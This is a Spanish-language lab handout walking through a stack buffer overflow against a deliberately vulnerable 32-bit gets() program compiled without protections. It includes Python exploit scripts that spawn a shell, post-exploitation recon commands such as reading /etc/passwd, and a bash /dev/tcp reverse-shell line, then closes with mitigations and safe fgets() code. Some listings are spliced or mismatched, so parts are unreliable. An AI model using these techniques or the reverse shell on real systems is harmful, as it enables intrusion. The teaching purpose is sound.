

P5 - Buffer Overflow con Shell Interactiva

Objetivos:

- ❖ Comprender vulnerabilidades de buffer overflow
- ❖ Aprender a explotar gets() de manera controlada
- ❖ Dominar el cálculo de offsets y direcciones de memoria
- ❖ Ejecutar código arbitrario mediante sobreescritura de EIP
- ❖ Obtener una shell interactiva mediante explotación

Entorno Requerido

- ❖ **Sistema Operativo:** Kali Linux 2025
- ❖ **Arquitectura:** x86-64 (con soporte para 32-bit)
- ❖ **Privilegios:** Usuario normal (no se necesita root)

Instalación de Dependencias

Actualizar el sistema

```
sudo apt update && sudo apt upgrade -y
```

Instalar compilador 32-bit y herramientas

```
sudo apt install gcc-multilib libc6-dev-i386 gdb python3 python3-pip
```

Instalar **pwntools** (*opcional pero recomendado*)

```
sudo apt install python3-pwntools
```

Verificar las instalaciones realizadas

```
gcc --version  
python3 --version  
gdb -version
```

```
(root@kali)-[/home/kali]  
# gcc --version  
python3 --version  
gdb --version  
  
gcc (Debian 14.3.0-5) 14.3.0  
Copyright (C) 2024 Free Software Foundation, Inc.  
This is free software; see the source for copying conditions. There is NO  
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  
  
Python 3.13.7  
GNU gdb (Debian 16.3-1) 16.3  
Copyright (C) 2024 Free Software Foundation, Inc.  
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>  
This is free software: you are free to change and redistribute it.  
There is NO WARRANTY, to the extent permitted by law.  
  
(root@kali)-[/home/kali]
```

1. Programa Vulnerable

Creamos el archivo vulnerable: vuln_shell.c

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

// Declaración manual de gets() (obsoleta en GCC moderno)
char *gets(char *s);

void secret() {
    printf(";Felicitades! Has explotado el buffer overflow\n");
    printf("Ejecutando shell interactiva...\n");
    system("/bin/sh"); // Llamada a shell interactiva
}

void vulnerable() {
    char buffer[64]; // Buffer de 64 bytes - VULNERABLE
    printf("Introduce algo: ");
    gets(buffer);    // Función insegura - permite overflow
}

int main() {
    // Desactivar buffering para mejor visualización
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    vulnerable();
    return 0;
}
```

El archivo es vulnerable porque:

- **gets():** No verifica longitud de entrada
- **Buffer fijo:** 64 bytes que pueden desbordarse
- **Sin protecciones:** Compilaremos sin medidas de seguridad

Compilar sin protecciones

Compilar para arquitectura 32-bit

```
gcc -m32 -fno-stack-protector -z execstack -no-pie \
    -std=gnu89 vuln_shell.c -o vuln_shell \
    -D_FORTIFY_SOURCE=0
```

Opciones explicadas:

- ❖ **-m32** para compilar para 32-bit
- ❖ **-fno-stack-protector** para desactivar canarios de pila
- ❖ **-z execstack** para permitir ejecución en stack

- ❖ -no-pie para desactivar PIE (Position Independent Executable)
- ❖ -std=gnu89 Standard antiguo que permite gets()
- ❖ -D_FORTIFY_SOURCE=0 para desactivar protecciones de FORTIFY

```
(root@kali)-[/home/kali/vuln]
# gcc -m32 -fno-stack-protector -z execstack -no-pie \
  -std=gnu89 vuln_shell.c -o vuln_shell \
  -D_FORTIFY_SOURCE=0

vuln_shell.c: In function 'vulnerable':
vuln_shell.c:17:5: warning: 'gets' is deprecated [-Wdeprecated-declarations]
  17 |     gets(buffer);    // Función insegura - permite overflow
      |     ~~~~~
In file included from vuln_shell.c:1:
/usr/include/stdio.h:667:14: note: declared here
 667 | extern char *gets(char *__s) __wur __attribute__((__deprecated__));
      |
/usr/bin/ld: /tmp/cceAdwNv.o: in function `vulnerable':
vuln_shell.c:(.text+0x7a): warning: the `gets' function is dangerous and should not be used.
```

Verificar compilación

Para verificar la arquitectura del fichero obtenido. Debe mostrar: *ELF 32-bit LSB executable*

```
file vuln_shell
```

```
(root@kali)-[/home/kali/vuln]
# file vuln_shell
vuln_shell: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=ca517fdbdf40b41376e9778c80ffd425c084b02c, for GNU/Linux 3.2.0, not stripped
```

Para verificar que las protecciones están deshabilitadas. Debe mostrar: *No canary, NX disabled, No PIE*

```
checksec --file=./vuln_shell
```

```
(root@kali)-[/home/kali/vuln]
# checksec --file=./vuln_shell
RELRO      STACK CANARY NX      PIE      RPATH      RUNPATH      Symbols      FORTIFY Fortified      Fortifiable      FILE
Partial RELRO  No canary found NX disabled No PIE      No RPATH      No RUNPATH      46 Symbols      No      0      2      ./vuln_shell
```

Desactivar ASLR temporalmente

Desactivar ASLR para esta práctica

```
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

Verificar que está desactivado, debe mostrar 0

```
cat /proc/sys/kernel/randomize_va_space
```

```
(root@kali)-[/home/kali/vuln]
# cat /proc/sys/kernel/randomize_va_space
0
```

2. Análisis del binario

Información del ejecutable

Examinar secciones del binario

```
objdump -h vuln_shell
```

```
(root@kali)-[/home/kali/vuln]
# objdump -h vuln_shell

vuln_shell:      file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
 0 .note.gnu.build-id 00000024 080481b4 080481b4 000001b4 2**2
 1 .interp          00000013 080481d8 080481d8 000001d8 2**0
 2 .gnu.hash        00000020 080481ec 080481ec 000001ec 2**2
 3 .dynsym          000000c0 0804820c 0804820c 0000020c 2**2
 4 .dynstr          00000084 080482cc 080482cc 000002cc 2**0
 5 .gnu.version     00000018 08048350 08048350 00000350 2**1
 6 .gnu.version_r   00000030 08048368 08048368 00000368 2**2
 7 .rel.dyn         00000020 08048398 08048398 00000398 2**2
 8 .rel.plt         00000030 080483b8 080483b8 000003b8 2**2
 9 .init            00000020 08049000 08049000 00001000 2**2
10 .plt             00000070 08049020 08049020 00001020 2**4
```

Ver símbolos (funciones)

```
nm vuln_shell
```

```
(root@kali)-[/home/kali/vuln]
# nm vuln_shell
0804a1ac r __abi_tag
0804c020 B __bss_start
0804c020 b completed.0
0804c018 D __data_start
0804c018 W data_start
080490f0 t deregister_tm_clones
080490d0 T _dl_relocate_static_pie
08049170 t __do_global_dtors_aux
0804bef8 d __do_global_dtors_aux_fini_array_entry
0804c01c D __dso_handle
0804befc d _DYNAMIC
0804c020 D _edata
0804c024 B _end
080492a0 T _fini
0804a000 R _fp_hw
080491a0 t frame_dummy
0804bef4 d __frame_dummy_init_array_entry
0804a1a8 r __FRAME_END__
0804bfff U __gets@GLIBC_2.0
0804bff4 d _GLOBAL_OFFSET_TABLE_
0804a074 r __gmon_start__
0804a074 r __GNU_EH_FRAME_HDR
08049000 T _init
0804a004 R _IO_stdin_used
```

Encontrar dirección de la función secret()

Método 1: Con objdump

```
objdump -t vuln_shell | grep secret
```

Método 2: Con nm

```
nm vuln_shell | grep secret
```

Método 3: Con readelf

```
readelf -s vuln_shell | grep secret
```

Ejemplo de lo que se debe obtener:

```
(root@kali)-[/home/kali/vuln]
# objdump -t vuln_shell | grep secret
080491a6 g    F .text 0000004e          secret

(root@kali)-[/home/kali/vuln]
# nm vuln_shell | grep secret
080491a6 T secret

(root@kali)-[/home/kali/vuln]
# readelf -s vuln_shell | grep secret
33: 080491a6   78 FUNC    GLOBAL DEFAULT 12 secret

(root@kali)-[/home/kali/vuln]
#
```

Encontrar el offset

❖ Método 1

Crear patron de prueba de 200 caracteres

```
python3 -c "
pattern = ''
for i in range(200):
    pattern += chr(ord('A') + i % 26)
print(pattern)
" > pattern.txt
```

```
(root@kali)-[/home/kali/vuln]
# python3 -c "
pattern = ''
for i in range(200):
    pattern += chr(ord('A') + i % 26)
print(pattern)
" > pattern.txt

(root@kali)-[/home/kali/vuln]
# cat pattern.txt
ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ
VWXYZABCDEFGHIJKLMN
```

Ejecutar con GDB

```
gdb ./vuln_shell
```

```
(root@kali)-[/home/kali/vuln]
# gdb ./vuln_shell
GNU gdb (Debian 16.3-1) 16.3
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word" ...
Reading symbols from ./vuln_shell ...
(no debugging symbols found in ./vuln_shell)
(gdb)
```

Debugging con GDB

Dentro de GDB:

```
run < pattern.txt
```

Cuando crashee mostrar los registros y buscar EIP

```
(gdb) run < pattern.txt
Starting program: /home/kali/vuln/vuln_shell < pattern.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Introduce algo:
Program received signal SIGSEGV, Segmentation fault.
0x42415a59 in ?? ()
(gdb)
```

info registers

```
(gdb) info registers

eax            0xffffd280      -11648
ecx            0xf7f9d8ec  -134620948
edx            0x0                0
ebx            0x54535251     1414746705
esp            0xffffd2d0     0xffffd2d0
ebp            0x58575655     0x58575655
esi            0x804bef8       134528760
edi            0xf7ffcbb6    -134231200
eip            0x42415a59     0x42415a59
eflags         0x10282          [ SF IF RF ]
cs             0x23           35
ss             0x2b           43
ds             0x2b           43
es             0x2b           43
fs             0x0            0
gs             0x63           99
(gdb)
```


3. Localizar función target

Confirmar dirección de secret()

Obtener dirección exacta de secret()

```
SECRET_ADDR=$(objdump -t vuln_shell | grep secret | awk '{print $1}')  
echo "Dirección de secret(): 0x$SECRET_ADDR"
```

```
(root@kali)-[/home/kali/vuln]  
# SECRET_ADDR=$(objdump -t vuln_shell | grep secret | awk '{print $1}')  
echo "Dirección de secret(): 0x$SECRET_ADDR"  
  
Dirección de secret(): 0x080491a6
```

Verificar en little-endian

```
python3 -c "  
import struct  
addr = 0x$SECRET_ADDR  
print(f'Dirección: {hex(addr)}')  
print(f'Bytes: {struct.pack("<I", addr)}')  
print(f'Hex: {struct.pack("<I", addr).hex()}')  
"
```

```
(root@kali)-[/home/kali/vuln]  
# python3 -c "  
import struct  
addr = 0x$SECRET_ADDR  
print(f'Dirección: {hex(addr)}')  
print(f'Bytes: {struct.pack("<I", addr)}')  
print(f'Hex: {struct.pack("<I", addr).hex()}')  
"  
  
Dirección: 0x80491a6  
Bytes: b'\xa6\x91\x04\x08'  
Hex: a6910408
```

4. Crear el exploit

Payload básico

Crear fichero payload.py

```
#!/usr/bin/env python3  
import struct  
  
# Configuración  
offset = 76  
secret_addr = 0x080491a6 # AJUSTAR con la dirección obtenida  
  
# Crear payload
```



```
self.payload = self.create_payload()

def create_payload(self):
    """Crear payload de overflow"""
    return b'A' * self.offset + struct.pack('<I', self.secret_addr)

def run(self):
    """Ejecutar exploit completo"""
    print("Iniciando Buffer Overflow Exploit")
    print("=" * 50)
    print(f"Offset: {self.offset}")
    print(f"Secret function: {hex(self.secret_addr)}")
    print(f"Payload size: {len(self.payload)} bytes")
    print("=" * 50)

    # Ejecutar proceso vulnerable
    process = subprocess.Popen(
        ['./vuln_shell'],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        bufsize=0
    )

    # Enviar payload
    process.stdin.write(self.payload)
    process.stdin.flush()
    time.sleep(0.5)

    # Ejecutar comandos de prueba
    self.execute_commands(process)

    process.terminate()

def execute_commands(self, process):
    """Ejecutar comandos en la shell obtenida"""
    commands = [
        'whoami',
        'id',
        'pwd',
        'ls -la',
        'echo "¡Explotación exitosa!"',
        'uname -a'
    ]

    print("Ejecutando comandos de prueba:")
    print("-" * 30)

    for cmd in commands:
        try:
            process.stdin.write((cmd + '\n').encode())
            process.stdin.flush()
            time.sleep(0.3)

            # Leer output
            output = process.stdout.read(1024).decode()
```

```

        if output:
            print(f"$ {cmd}")
            print(output)
            print("-" * 30)

    except Exception as e:
        print(f"Error ejecutando {cmd}: {e}")

    print("Exploit completado exitosamente!")

if __name__ == "__main__":
    # Verificar que el binario existe
    import os
    if not os.path.exists('./vuln_shell'):
        print("Error: vuln_shell no encontrado")
        print("Compila primero: gcc -m32 -fno-stack-protector...")
        sys.exit(1)

    exploit = BufferOverflowExploit()
    exploit.run()

```

Ejecutar el exploit

Hacer ejecutable

```
chmod +x exploit.py
```

Ejecutar

```
python3 exploit.py
```

```

(root@kali)-[/home/kali/vuln]
# ./exploit.py
Iniciando Buffer Overflow Exploit

Offset: 76
Secret function: 0x80491a6
Payload size: 80 bytes

Ejecutando comandos de prueba:

$ whoami
Introduce algo: ¡Felicitades! Has explotado el buffer overflow
Ejecutando shell interactiva...

$ id
uid=0(root) gid=0(root) groups=0(root)

$ pwd
/home/kali/vuln

$ ls -la
total 48
drwxr-xr-x  2 root root 4096 Sep 18 13:45 .
drwx-- 20 kali kali 4096 Sep 18 13:29 ..
-rwxr-xr-x  1 root root 2507 Sep 18 13:45 exploit.py
-rw-r--r--  1 root root 201 Sep 18 13:36 pattern.txt
-rw-r--r--  1 root root  80 Sep 18 13:43 payload.bin
-rw-r--r--  1 root root 434 Sep 18 13:41 payload.py
-rw-r--r--  1 root root 181 Sep 18 13:38 test_pattern.txt
-rwxr-xr-x  1 root root 15096 Sep 18 13:29 vuln_shell
-rw-r--r--  1 root root 722 Sep 18 13:29 vuln_shell.c

$ echo "¡Explotación exitosa!"
¡Explotación exitosa!

$ uname -a
Linux kali 6.12.38+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.38-1kali1 (2025-08-12) x86_64 GNU/Linux

Exploit completado exitosamente!

```

6. Medidas de protección

Reactivar protecciones

Reactivar ASLR:

```
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```

Verificar que estan habilitadas:

```
cat /proc/sys/kernel/randomize_va_space
```

Código seguro alternativo

```
// Versión segura del programa
#include <stdio.h>
#include <stdlib.h>

void secure_function() {
    printf("Función segura ejecutada\n");
}

void safe_input() {
    char buffer[64];
    printf("Introduce algo: ");

    // Usar fgets() en lugar de gets()
    if (fgets(buffer, sizeof(buffer), stdin) != NULL) {
        // Remover newline si existe
        buffer[strcspn(buffer, "\n")] = 0;
        printf("Input: %s\n", buffer);
    }
}

int main() {
    safe_input();
    return 0;
}
```

Explotación Exitosa

- Buffer overflow ejecutado correctamente
- EIP sobrescrito con dirección de `secret()`
- Función `secret()` ejecutada completamente
- Shell interactiva obtenida y funcional

7. Resumen de comandos esenciales

COMANDO	DESCRIPCIÓN
<code>gcc -m32 ...</code>	Compilar para 32-bit
<code>checksec --file=./vuln</code>	Verificar protecciones
<code>objdump -t vuln grep secret</code>	Encontrar dirección de función
<code>gdb ./vuln</code>	Debugging con GDB
<code>echo 0 sudo tee /proc/sys/kernel/randomize_va_space</code>	Desactivar ASLR

8. Próximos pasos (opcionales)

8.1. Experimentar con Más Comandos

Agregar estos comandos al exploit

```
advanced_commands = [  
    'cat /etc/passwd | head -5',  
    'ps aux | grep vuln',  
    'netstat -tuln | head -10',  
    'df -h',  
    'echo "Hola desde la shell explotada" > test.txt',  
    'cat test.txt'  
]
```

```
$ uname -a  
Linux kali 6.12.38+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.38-1kali1 (2025-08-12) x86_64 GNU/Linux  
  
$ cat /etc/passwd | head -5  
root:x:0:0:root:/root:/usr/bin/zsh  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
  
$ ps aux | grep vuln  
root      108366  0.0  0.0   2700  1284 pts/3    S+   13:50   0:00 ./vuln_shell  
root      108375  0.0  0.0   6528  2292 pts/3    S+   13:50   0:00 grep vuln  
  
$ netstat -tuln | head -10  
Active Internet connections (only servers)  
Proto Recv-Q Send-Q Local Address           Foreign Address         State  
  
$ df -h  
Filesystem      Size  Used Avail Use% Mounted on  
udev            3.9G   0  3.9G   0% /dev  
tmpfs           794M  1.4M  793M   1% /run  
/dev/sda1       79G   21G   54G  28% /  
tmpfs           3.9G  4.0K  3.9G   1% /dev/shm  
tmpfs           5.0M   0  5.0M   0% /run/lock  
tmpfs           1.0M   0  1.0M   0% /run/credentials/systemd-journald.service  
tmpfs           3.9G  2.9M  3.9G   1% /tmp  
tmpfs           1.0M   0  1.0M   0% /run/credentials/getty@tty1.service  
tmpfs           794M 136K  794M   1% /run/user/1000  
tmpfs           1.0M   0  1.0M   0% /run/credentials/systemd-networkd.service
```

8.2. Crear Reverse Shell

Modificar **secret()** para que ejecute una **reverse shell**

```
void secret() {
    system("/bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'");
}
```

8.3. Automatizar Post-Explotación

Script de post-explotación automático

```
post_exploitation_commands = [
    'whoami && id',
    'uname -a',
    'cat /etc/*release*',
    'ip addr show',
    'ss -tuln',
    'find / -name "*.txt\" -exec ls -la {} \\; 2>/dev/null | head -20'
]
```

```
$ whoami && id
root
uid=0(root) gid=0(root) groups=0(root)

$ uname -a
Linux kali 6.12.38+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.38-1kali1 (2025-08-12) x86_64 GNU/Linux

$ cat /etc/*release*
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION_ID="2025.3"
VERSION="2025.3"
VERSION_CODENAME=kali-rolling
ID=kali
ID_LIKE=debian
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI_COLOR="1;31"

$ ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00

$ ss -tuln
inet 127.0.0.1/8 scope host lo
    valid_lft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
    valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:1a:99:d6 brd ff:ff:ff:ff:ff:ff
    inet 10.0.0.130/24 brd 10.0.0.255 scope global dynamic noprefixroute eth0
        valid_lft 1164sec preferred_lft 1164sec
    inet6 fe80::2a63:c931:efc7:efb9/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

$ find / -name "*.txt\" -exec ls -la {} \; 2>/dev/null | head -20
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port

Exploit completado exitosamente!
```

8.4. Bypass de Protecciones

Intentar con protecciones habilitadas gradualmente:

1. Solo stack protector

```
gcc -m32 -fstack-protector -z execstack -no-pie vuln_shell.c -o vuln_shell1
```

2. Solo NX

```
gcc -m32 -fno-stack-protector -no-pie vuln_shell.c -o vuln_shell2
```

3. Solo PIE

```
gcc -m32 -fno-stack-protector -z execstack vuln_shell.c -o vuln_shell3
```

9. Código mejorado con más funcionalidades

Crear el archivo: `exploit_advanced.py`

```
#!/usr/bin/env python3
import struct
import subprocess
import time
import sys

class AdvancedExploit:
    def __init__(self):
        self.offset = 76
        self.secret_addr = 0x080491a6
        self.payload = self.create_payload()

    def create_payload(self):
        """Crear payload con NOP sled opcional"""
        nop_sled = b'\x90' * 20 # NOP sled
        padding = b'A' * (self.offset - len(nop_sled))
        return nop_sled + padding + struct.pack('<I', self.secret_addr)

    def run_commands(self, process, commands):
        """Ejecutar lista de comandos"""
        results = {}
        for cmd in commands:
            try:
                process.stdin.write((cmd + '\n').encode())
                process.stdin.flush()
                time.sleep(0.5)

                output = process.stdout.read(4096).decode()
                results[cmd] = output
```

```
print(f"{cmd}")
print(output[:500] + "..." if len(output) > 500 else output)
print("-" * 50)

except Exception as e:
    results[cmd] = f"Error: {e}"
    print(f"Error en {cmd}: {e}")

return results

def run(self):
    """Ejecutar exploit avanzado"""
    print("❑ EXPLOIT AVANZADO DE BUFFER OVERFLOW")
    print("=" * 60)

    process = subprocess.Popen(
        ['./vuln_shell'],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        bufsize=0
    )

    # Enviar payload
    process.stdin.write(self.payload)
    process.stdin.flush()
    time.sleep(1)

    # Comandos de reconocimiento
    recon_commands = [
        'whoami; id; pwd',
        'uname -a',
        'cat /etc/os-release',
        'ip addr show',
        'ps aux | head -10',
        'netstat -tuln',
        'find /home -name "*.txt\" -exec ls -la {} \\\; 2>/dev/null | head -10'
    ]

    print("FASE DE RECONOCIMIENTO:")
    results = self.run_commands(process, recon_commands)

    # Guardar resultados
    with open('exploit_results.txt', 'w') as f:
        for cmd, output in results.items():
            f.write(f"=== {cmd} ===\n{output}\n\n")

    print("Resultados guardados en exploit_results.txt")
    process.terminate()

if __name__ == "__main__":
```

```
exploit = AdvancedExploit()  
exploit.run()
```

10. Recomendaciones de seguridad

Ahora que se ha comprobado lo vulnerable que puede ser el código:

1. **Nunca usar `gets()`** en producción
2. Usar `fgets()` con validación de longitud
3. Habilitar todas las protecciones al compilar
4. **Usar `AddressSanitizer`** para detectar vulnerabilidades
5. Realizar auditorías de código regularmente